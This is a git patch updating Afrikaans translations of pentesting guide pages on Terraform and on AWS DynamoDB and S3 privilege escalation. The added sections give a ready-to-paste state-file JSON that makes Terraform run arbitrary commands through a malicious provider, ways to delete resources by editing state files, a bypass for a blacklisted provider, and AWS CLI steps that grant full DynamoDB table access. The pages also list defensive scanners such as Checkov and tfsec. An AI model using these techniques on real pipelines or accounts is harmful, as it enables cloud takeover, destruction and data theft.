From 5ca57f29edb7220e50affbc5370d8ce15c2057b0 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 5 Jan 2025 15:21:12 +0000 Subject: [PATCH] Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin --- src/pentesting-ci-cd/terraform-security.md | 94 ++++++++++++------- .../aws-dynamodb-privesc.md | 51 +++++++++- .../aws-s3-privesc.md | 27 ++++-- 3 files changed, 128 insertions(+), 44 deletions(-) diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index c3027e65b..9b5186c85 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -6,7 +6,7 @@ [Uit die dokumentasie:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform is 'n **infrastruktuur as kode hulpmiddel** wat jou toelaat om beide **wolke en plaaslike hulpbronne** in menslike leesbare konfigurasie lêers te definieer wat jy kan weergawe, hergebruik en deel. Jy kan dan 'n konsekwente werksvloei gebruik om al jou infrastruktuur deur sy lewensiklus te voorsien en te bestuur. Terraform kan lae-vlak komponente soos rekenaar, berging en netwerk hulpbronne bestuur, sowel as hoë-vlak komponente soos DNS inskrywings en SaaS funksies. +HashiCorp Terraform is 'n **infrastruktuur as kode hulpmiddel** wat jou toelaat om beide **wolke en plaaslike hulpbronne** in menslike leesbare konfigurasie lêers te definieer wat jy kan weergawe, hergebruik en deel. Jy kan dan 'n konsekwente werksvloei gebruik om al jou infrastruktuur deur sy lewensiklus te voorsien en te bestuur. Terraform kan lae-vlak komponente soos rekenaar, stoor en netwerk hulpbronne bestuur, sowel as hoë-vlak komponente soos DNS inskrywings en SaaS kenmerke. #### Hoe werk Terraform? @@ -20,7 +20,7 @@ Die kern Terraform werksvloei bestaan uit drie fases: - **Skryf:** Jy definieer hulpbronne, wat oor verskeie wolkverskaffers en dienste kan wees. Byvoorbeeld, jy mag 'n konfigurasie skep om 'n toepassing op virtuele masjiene in 'n Virtuele Privaat Wolk (VPC) netwerk met sekuriteitsgroepe en 'n laaibalans te ontplooi. - **Beplan:** Terraform skep 'n uitvoeringsplan wat die infrastruktuur beskryf wat dit sal skep, opdateer of vernietig gebaseer op die bestaande infrastruktuur en jou konfigurasie. -- **Toepas:** Met goedkeuring voer Terraform die voorgestelde operasies in die korrekte volgorde uit, terwyl dit enige hulpbron afhanklikhede respekteer. Byvoorbeeld, as jy die eienskappe van 'n VPC opdateer en die aantal virtuele masjiene in daardie VPC verander, sal Terraform die VPC weer skep voordat dit die virtuele masjiene skaal. +- **Toepas:** Met goedkeuring voer Terraform die voorgestelde operasies in die korrekte volgorde uit, terwyl dit enige hulpbron afhanklikhede respekteer. Byvoorbeeld, as jy die eienskappe van 'n VPC opdateer en die aantal virtuele masjiene in daardie VPC verander, sal Terraform die VPC hercreëer voordat dit die virtuele masjiene skaal. ![](<../images/image (215).png>) @@ -30,13 +30,13 @@ Installeer eenvoudig terraform op jou rekenaar. Hier het jy 'n [gids](https://learn.hashicorp.com/tutorials/terraform/install-cli) en hier het jy die [beste manier om terraform af te laai](https://www.terraform.io/downloads). -## RCE in Terraform +## RCE in Terraform: konfigurasie lêer vergiftiging -Terraform **het nie 'n platform wat 'n webblad of 'n netwerkdiens blootstel** wat ons kan opnoem nie, daarom is die enigste manier om terraform te kompromitteer om **in staat te wees om terraform konfigurasie lêers by te voeg/wysig**. +Terraform **het nie 'n platform wat 'n webblad of 'n netwerkdiens blootstel** wat ons kan opnoem nie, daarom is die enigste manier om terraform te kompromitteer om **in staat te wees om terraform konfigurasie lêers by te voeg/wysig** of om **in staat te wees om die terraform toestand lêer te wysig** (sien hoofstuk hieronder). -Egter, terraform is 'n **baie sensitiewe komponent** om te kompromitteer omdat dit **bevoorregte toegang** tot verskillende plekke sal hê sodat dit behoorlik kan werk. +Tog, terraform is 'n **baie sensitiewe komponent** om te kompromitteer omdat dit **bevoorregte toegang** tot verskillende plekke sal hê sodat dit behoorlik kan werk. -Die hoofmanier vir 'n aanvaller om in staat te wees om die stelsel waar terraform loop te kompromitteer, is om **die repo te kompromitteer wat terraform konfigurasies stoor**, omdat dit op 'n sekere tydstip **geïntpreteer** gaan word. +Die hoofmanier vir 'n aanvaller om in staat te wees om die stelsel waar terraform loop te kompromitteer, is om **die repository wat terraform konfigurasies stoor te kompromitteer**, omdat dit op 'n stadium **geïterpreteer** gaan word. Werklik, daar is oplossings daar buite wat **automaties terraform plan/toepas uitvoer nadat 'n PR** geskep is, soos **Atlantis**: @@ -81,7 +81,7 @@ Jy kan 'n voorbeeld vind in [https://github.com/rung/terraform-provider-cmdexec] **Gebruik van 'n eksterne verwysing** -Albei genoemde opsies is nuttig, maar nie baie stealthy nie (die tweede is meer stealthy maar meer kompleks as die eerste een). Jy kan hierdie aanval selfs op 'n **stealthier manier** uitvoer deur hierdie voorstelle te volg: +Albei genoemde opsies is nuttig, maar nie baie stil nie (die tweede is stilser, maar meer kompleks as die eerste). Jy kan hierdie aanval selfs op 'n **stilser manier** uitvoer deur hierdie voorstelle te volg: - In plaas daarvan om die rev shell direk in die terraform-lêer by te voeg, kan jy 'n **eksterne hulpbron** laai wat die rev shell bevat: ```javascript @@ -124,7 +124,43 @@ value = nonsensitive(var.do_token) ``` ## Misbruik van Terraform Toestand Lêers -In die geval dat jy skryfreëls oor terraform toestand lêers het, maar nie die terraform kode kan verander nie, [**hierdie navorsing**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) bied 'n paar interessante opsies om voordeel te +In die geval dat jy skryfreëls oor terraform toestand lêers het, maar nie die terraform kode kan verander nie, [**hierdie navorsing**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) bied 'n paar interessante opsies om voordeel te trek uit die lêer. Selfs al sou jy skryfreëls oor die konfigurasielêers hê, is dit dikwels baie meer slu om die vektor van toestand lêers te gebruik, aangesien jy nie spore in die `git` geskiedenis agterlaat nie. + +### RCE in Terraform: konfigurasielêer vergiftiging + +Dit is moontlik om [‘n pasgemaakte verskaffer](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) te skep en net een van die verskaffers in die terraform toestand lêer te vervang met die kwaadwillige een of 'n vals hulpbron by te voeg wat na die kwaadwillige verskaffer verwys. + +Die verskaffer [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) bou voort op die navorsing en wapen hierdie beginsel. Jy kan 'n vals hulpbron byvoeg en die arbitrêre bash-opdrag wat jy wil uitvoer in die attribuut `command` verklaar. Wanneer die `terraform` uitvoering geaktiveer word, sal dit gelees en uitgevoer word in beide die `terraform plan` en `terraform apply` stappe. In die geval van die `terraform apply` stap, sal `terraform` die vals hulpbron uit die toestand lêer verwyder nadat jou opdrag uitgevoer is, en homself opruim. Meer inligting en 'n volledige demo kan gevind word in die [GitHub-bewaarplek wat die bronkode vir hierdie verskaffer huisves](https://github.com/offensive-actions/terraform-provider-statefile-rce). + +Om dit direk te gebruik, sluit net die volgende in enige posisie van die `resources` array in en pas die `name` en die `command` attribuut aan: +```json +{ +"mode": "managed", +"type": "rce", +"name": "", +"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]", +"instances": [ +{ +"schema_version": 0, +"attributes": { +"command": "", +"id": "rce" +}, +"sensitive_attributes": [], +"private": "bnVsbA==" +} +] +} +``` +Dan, sodra `terraform` uitgevoer word, sal jou kode loop. + +### Huidige hulpbronne verwyder + +Daar is 2 maniere om hulpbronne te vernietig: + +1. **Voeg 'n hulpbron met 'n ewekansige naam in die staatlêer in wat na die werklike hulpbron verwys wat vernietig moet word** + +Omdat terraform sal sien dat die hulpbron nie behoort te bestaan nie, sal dit dit vernietig (volgens die werklike hulpbron-ID wat aangedui word). Voorbeeld van die vorige bladsy: ```json { "mode": "managed", @@ -142,26 +178,11 @@ In die geval dat jy skryfreëls oor terraform toestand lêers het, maar nie die ``` 2. **Wysig die hulpbron om te verwyder op 'n manier dat dit nie moontlik is om op te dateer nie (sodat dit verwyder en weer geskep sal word)** -Vir 'n EC2-instantie is dit genoeg om die tipe van die instantie te wysig om terraform te laat verwyder en dit weer te skep. +Vir 'n EC2-instantie is dit genoeg om die tipe van die instantie te wysig sodat terraform dit verwyder en weer skep. -### RCE - -Dit is ook moontlik om [n pasgemaakte verskaffer te skep](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) en net een van die verskaffers in die terraform toestandlêer te vervang met die kwaadwillige een of 'n leë hulpbron met die kwaadwillige verskaffer by te voeg. Voorbeeld uit die oorspronklike navorsing: -```json -"resources": [ -{ -"mode": "managed", -"type": "scaffolding_example", -"name": "example", -"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]", -"instances": [ - -] -}, -``` ### Vervang geblacklisted verskaffer -In die geval dat jy 'n situasie teëkom waar `hashicorp/external` geblacklisted was, kan jy die `external` verskaffer herimplementeer deur die volgende te doen. Let wel: Ons gebruik 'n fork van die eksterne verskaffer wat gepubliseer is deur https://registry.terraform.io/providers/nazarewk/external/latest. Jy kan jou eie fork of herimplementering ook publiseer. +In die geval dat jy 'n situasie teëkom waar `hashicorp/external` geblacklisted was, kan jy die `external` verskaffer her-implementeer deur die volgende te doen. Let wel: Ons gebruik 'n fork van die external verskaffer wat gepubliseer is deur https://registry.terraform.io/providers/nazarewk/external/latest. Jy kan jou eie fork of her-implementering ook publiseer. ```terraform terraform { required_providers { @@ -180,14 +201,14 @@ program = ["sh", "-c", "whoami"] ``` ## Outomatiese Oudit Gereedskap -### [**Snyk Infrastruktur as Kode (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) +### [**Snyk Infrastruktuur as Kode (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) -Snyk bied 'n omvattende Infrastruktur as Kode (IaC) skandeeroplossing wat kwesbaarhede en verkeerde konfigurasies in Terraform, CloudFormation, Kubernetes, en ander IaC-formate opspoor. +Snyk bied 'n omvattende Infrastruktuur as Kode (IaC) skandeeroplossing wat kwesbaarhede en verkeerde konfigurasies in Terraform, CloudFormation, Kubernetes, en ander IaC formate opspoor. - **Kenmerke:** - Regs-tyd skandering vir sekuriteitskwesbaarhede en nakomingskwessies. - Integrasie met weergawebeheer stelsels (GitHub, GitLab, Bitbucket). -- Outomatiese regstelling trek versoeke. +- Outomatiese regstelling trekversoeke. - Gedetailleerde hersteladvies. - **Teken In:** Skep 'n rekening op [Snyk](https://snyk.io/). ```bash @@ -198,11 +219,11 @@ snyk iac test /path/to/terraform/code ``` ### [Checkov](https://github.com/bridgecrewio/checkov) -**Checkov** is 'n statiese kode-analise hulpmiddel vir infrastruktuur as kode (IaC) en ook 'n sagteware-samestelling analise (SCA) hulpmiddel vir beelde en oopbron pakkette. +**Checkov** is 'n statiese kode-analise hulpmiddel vir infrastruktuur as kode (IaC) en ook 'n sagteware-samestelling analise (SCA) hulpmiddel vir beelde en oopbrons pakkette. Dit skandeer wolkinfrastruktuur wat voorsien is met [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), of [OpenTofu](https://opentofu.org/) en detecteer sekuriteits- en nakomingsmisconfigurasies deur middel van graf-gebaseerde skandering. -Dit voer [Sagteware-samestelling analise (SCA) skandering](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) uit, wat 'n skandering van oopbron pakkette en beelde vir Algemene Kw vulnerabilities en Blootstellings (CVEs) is. +Dit voer [Software Composition Analysis (SCA) skandering](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) uit wat 'n skandering van oopbrons pakkette en beelde vir Algemene Kw vulnerabilities en Blootstellings (CVEs) is. ```bash pip install checkov checkov -d /path/to/folder @@ -219,7 +240,7 @@ Van die [**docs**](https://github.com/terraform-compliance/cli): `terraform-comp - **segregasie van pligte:** jy kan jou toetse in 'n ander repository hou waar 'n aparte span verantwoordelik is. > [!NOTE] -> Ongelukkig, as die kode sommige verskaffers gebruik waartoe jy nie toegang het nie, sal jy nie in staat wees om die `terraform plan` uit te voer en hierdie hulpmiddel te gebruik nie. +> Ongelukkig, as die kode sommige verskaffers gebruik wat jy nie toegang tot het nie, sal jy nie in staat wees om die `terraform plan` uit te voer en hierdie hulpmiddel te gebruik nie. ```bash pip install terraform-compliance terraform plan -out=plan.out @@ -235,10 +256,10 @@ Van die [**docs**](https://github.com/aquasecurity/tfsec): tfsec gebruik staties - ➕ Evalueer HCL-uitdrukkings sowel as letterlike waardes - ↪️ Evalueer Terraform funksies bv. `concat()` - 🔗 Evalueer verhoudings tussen Terraform hulpbronne -- 🧰 Kompatibel met die Terraform CDK +- 🧰 Geskik vir die Terraform CDK - 🙅 Pas (en versier) gebruiker-gedefinieerde Rego-beleide toe - 📃 Ondersteun verskeie uitvoerformate: pragtig (verstek), JSON, SARIF, CSV, CheckStyle, JUnit, teks, Gif. -- 🛠️ Konfigureerbaar (via CLI-vlaggies en/of konfigurasie lêer) +- 🛠️ Konfigureerbaar (via CLI-vlaggies en/of konfigurasie-lêer) - ⚡ Baie vinnig, in staat om vinnig groot repositories te skandeer ```bash brew install tfsec @@ -246,7 +267,7 @@ tfsec /path/to/folder ``` ### [KICKS](https://github.com/Checkmarx/kics) -Vind sekuriteitskwesbaarhede, nakomingskwessies en infrastruktuur miskonfigurasies vroeg in die ontwikkelingsiklus van jou infrastruktuur-as-kode met **KICS** deur Checkmarx. +Vind sekuriteitskwesbaarhede, nakomingskwessies, en infrastruktuur miskonfigurasies vroeg in die ontwikkelingsiklus van jou infrastruktuur-as-kode met **KICS** deur Checkmarx. **KICS** staan vir **K**eeping **I**nfrastructure as **C**ode **S**ecure, dit is oopbron en is 'n moet-hê vir enige wolk-natiewe projek. ```bash @@ -257,9 +278,9 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" Van die [**docs**](https://github.com/tenable/terrascan): Terrascan is 'n statiese kode-analiseerder vir Infrastruktur as Kode. Terrascan stel jou in staat om: - Naadloos infrastruktuur as kode te skandeer vir misconfigurasies. -- Geprovisioneerde wolkinfrastruktuur te monitor vir konfigurasiewijzigings wat posisie-afwykings inbring, en stel jou in staat om na 'n veilige posisie terug te keer. +- Geverifieerde wolkinfrastruktuur te monitor vir konfigurasiewijzigings wat posisie-afwykings inbring, en stel jou in staat om na 'n veilige posisie terug te keer. - Sekuriteitskwesbaarhede en nakomingsoortredings te ontdek. -- Risiko's te verminder voordat wolk-natiewe infrastruktuur geprovisioneer word. +- Risiko's te verminder voordat wolknatiewe infrastruktuur geprovisioneer word. - Bied buigsaamheid om plaaslik te loop of te integreer met jou CI\CD. ```bash brew install terrascan @@ -270,5 +291,6 @@ brew install terrascan - [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce) - [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro) - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) +- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index 112d93acb..cd22db81e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -10,9 +10,58 @@ Vir meer inligting oor dynamodb, kyk: ../aws-services/aws-dynamodb-enum.md {{#endref}} +### `dynamodb:PutResourcePolicy`, en opsioneel `dynamodb:GetResourcePolicy` + +Sedert Maart 2024 bied AWS *hulpbron-gebaseerde beleide* vir DynamoDB aan ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)). + +As jy dus die `dynamodb:PutResourcePolicy` vir 'n tabel het, kan jy jouself of enige ander prinsiep volle toegang tot die tabel gee. + +Die toekenning van die `dynamodb:PutResourcePolicy` aan 'n lukrake prinsiep gebeur dikwels per ongeluk, as die admins dink dat die toekenning van `dynamodb:Put*` slegs die prinsiep sou toelaat om items in die databasis te plaas - of as hulle daardie toestemmingset voor Maart 2024 toegeken het... + +Ideaal gesproke het jy ook `dynamodb:GetResourcePolicy`, sodat jy nie ander potensieel belangrike toestemmings oorskryf nie, maar slegs die bygevoegde toestemmings wat jy nodig het: +```bash +# get the current resource based policy (if it exists) and save it to a file +aws dynamodb get-resource-policy \ +--resource-arn \ +--query 'Policy' \ +--output text > policy.json +``` +As jy nie die huidige beleid kan verkry nie, gebruik net hierdie een wat volle toegang tot die tabel aan jou prinsiep verleen: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "FullAccessToDynamoDBTable", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::/" +}, +"Action": [ +"dynamodb:*" +], +"Resource": [ +"arn:aws:dynamodb:::table/" +] +} +] +} +``` +As jy dit wil aanpas, hier is 'n lys van alle moontlike DynamoDB aksies: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). En hier is 'n lys van alle aksies wat toegelaat kan word via 'n hulpbron-gebaseerde beleid *EN watter van hierdie kan gebruik word oor rekeninge (denk data uitvloeiing!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html) + +Nou, met die beleidsdokument `policy.json` gereed, plaas die hulpbronbeleid: +```bash +# put the new policy using the prepared policy file +# dynamodb does weirdly not allow a direct file upload +aws dynamodb put-resource-policy \ +--resource-arn \ +--policy "$(cat policy.json)" +``` +Nou, jy behoort die toestemmings te hê wat jy nodig gehad het. + ### Post Exploitation -Soos ek weet, is daar **geen direkte manier om voorregte in AWS te verhoog net deur 'n paar AWS `dynamodb` toestemmings te hê**. Jy kan **sensitiewe** inligting uit die tabelle lees (wat AWS geloofsbriewe kan bevat) en **inligting op die tabelle skryf** (wat ander kwesbaarhede kan aktiveer, soos lambda kode-inspuitings...) maar al hierdie opsies word reeds oorweeg in die **DynamoDB Post Exploitation bladsy**: +So ver ek weet is daar **geen ander direkte manier om bevoegdhede in AWS te verhoog net deur 'n paar AWS `dynamodb` toestemmings te hê**. Jy kan **sensitiewe** inligting uit die tabelle lees (wat AWS geloofsbriewe kan bevat) en **inligting op die tabelle skryf** (wat ander kwesbaarhede kan aktiveer, soos lambda kode-inspuitings...) maar al hierdie opsies word reeds oorweeg in die **DynamoDB Post Exploitation bladsy**: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index db33249a2..2fb8d9638 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -34,25 +34,38 @@ Byvoorbeeld, 'n aanvaller met daardie **toestemmings oor 'n cloudformation emmer ] } ``` -En die oorneming is moontlik omdat daar 'n **klein tydvenster is vanaf die oomblik dat die sjabloon opgelaai word** na die emmer tot die oomblik dat die **sjabloon ontplooi word**. 'n Aanvaller mag net 'n **lambda-funksie** in sy rekening skep wat **geaktiveer word wanneer 'n emmer kennisgewing gestuur word**, en **oornemings** die **inhoud** van daardie **emmer**. +En die kaping is moontlik omdat daar 'n **klein tydvenster is vanaf die oomblik dat die sjabloon na die emmer opgelaai word** tot die oomblik dat die **sjabloon ontplooi word**. 'n Aanvaller kan eenvoudig 'n **lambda-funksie** in sy rekening skep wat **geaktiveer word wanneer 'n emmer kennisgewing gestuur word**, en **kap** die **inhoud** van daardie **emmer**. ![](<../../../images/image (174).png>) -Die Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) kan gebruik word om hierdie aanval te outomatiseer.\ +Die Pacu-module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) kan gebruik word om hierdie aanval te outomatiseer.\ Vir meer inligting, kyk na die oorspronklike navorsing: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) ### `s3:PutObject`, `s3:GetObject` -Dit is die toestemmings om **objekte na S3 te kry en op te laai**. Verskeie dienste binne AWS (en buite dit) gebruik S3 berging om **konfigurasie lêers** te stoor.\ -'n Aanvaller met **lees toegang** tot hulle mag **sensitiewe inligting** daarop vind.\ +Dit is die toestemmings om **objekte na S3 te kry en op te laai**. Verskeie dienste binne AWS (en buite dit) gebruik S3-stoor om **konfigurasie lêers** te stoor.\ +'n Aanvaller met **lees toegang** tot hulle kan **sensitiewe inligting** daarop vind.\ 'n Aanvaller met **skryf toegang** tot hulle kan **die data verander om 'n diens te misbruik en probeer om voorregte te verhoog**.\ -Hierdie is 'n paar voorbeelde: +Hier is 'n paar voorbeelde: -- As 'n EC2 instance die **gebruikersdata in 'n S3 emmer** stoor, kan 'n aanvaller dit verander om **arbitraire kode binne die EC2 instance uit te voer**. +- As 'n EC2-instantie die **gebruikersdata in 'n S3-emmer** stoor, kan 'n aanvaller dit verander om **arbitraire kode binne die EC2-instantie uit te voer**. + +### `s3:PutObject`, `s3:GetObject` (opsioneel) oor terraform staat lêer + +Dit is baie algemeen dat die [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) staat lêers in blob stoor van wolkverskaffers gestoor word, bv. AWS S3. Die lêer-suffiks vir 'n staat lêer is `.tfstate`, en die emmername gee dikwels ook weg dat hulle terraform staat lêers bevat. Gewoonlik het elke AWS-rekening een sulke emmer om die staat lêers te stoor wat die staat van die rekening toon.\ +Ook gewoonlik, in werklike wêreld rekeninge het amper altyd alle ontwikkelaars `s3:*` en soms selfs besigheidsgebruikers `s3:Put*`. + +So, as jy die toestemmings gelys oor hierdie lêers het, is daar 'n aanvalsvector wat jou toelaat om RCE in die pyplyn te verkry met die voorregte van `terraform` - meestal `AdministratorAccess`, wat jou die admin van die wolkrekening maak. Ook kan jy daardie vector gebruik om 'n ontkenning van diens aanval te doen deur `terraform` te laat verwyder legitieme hulpbronne. + +Volg die beskrywing in die *Misbruik van Terraform Staat Lêers* afdeling van die *Terraform Sekuriteit* bladsy vir direk bruikbare eksploit kode: + +{{#ref}} +terraform-security.md#abusing-terraform-state-files +{{#endref}} ### `s3:PutBucketPolicy` -'n Aanvaller, wat moet wees **van die dieselfde rekening**, anders sal die fout `Die gespesifiseerde metode is nie toegelaat nie` geaktiveer word, met hierdie toestemming sal in staat wees om vir homself meer toestemmings oor die emmer(s) toe te ken wat hom toelaat om te lees, te skryf, te verander, te verwyder en emmers bloot te stel. +'n Aanvaller, wat **van die dieselfde rekening** moet wees, anders sal die fout `Die gespesifiseerde metode is nie toegelaat nie` geaktiveer word, sal met hierdie toestemming in staat wees om vir homself meer toestemmings oor die emmer(s) toe te ken wat hom toelaat om te lees, te skryf, te verander, te verwyder en emmers bloot te stel. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket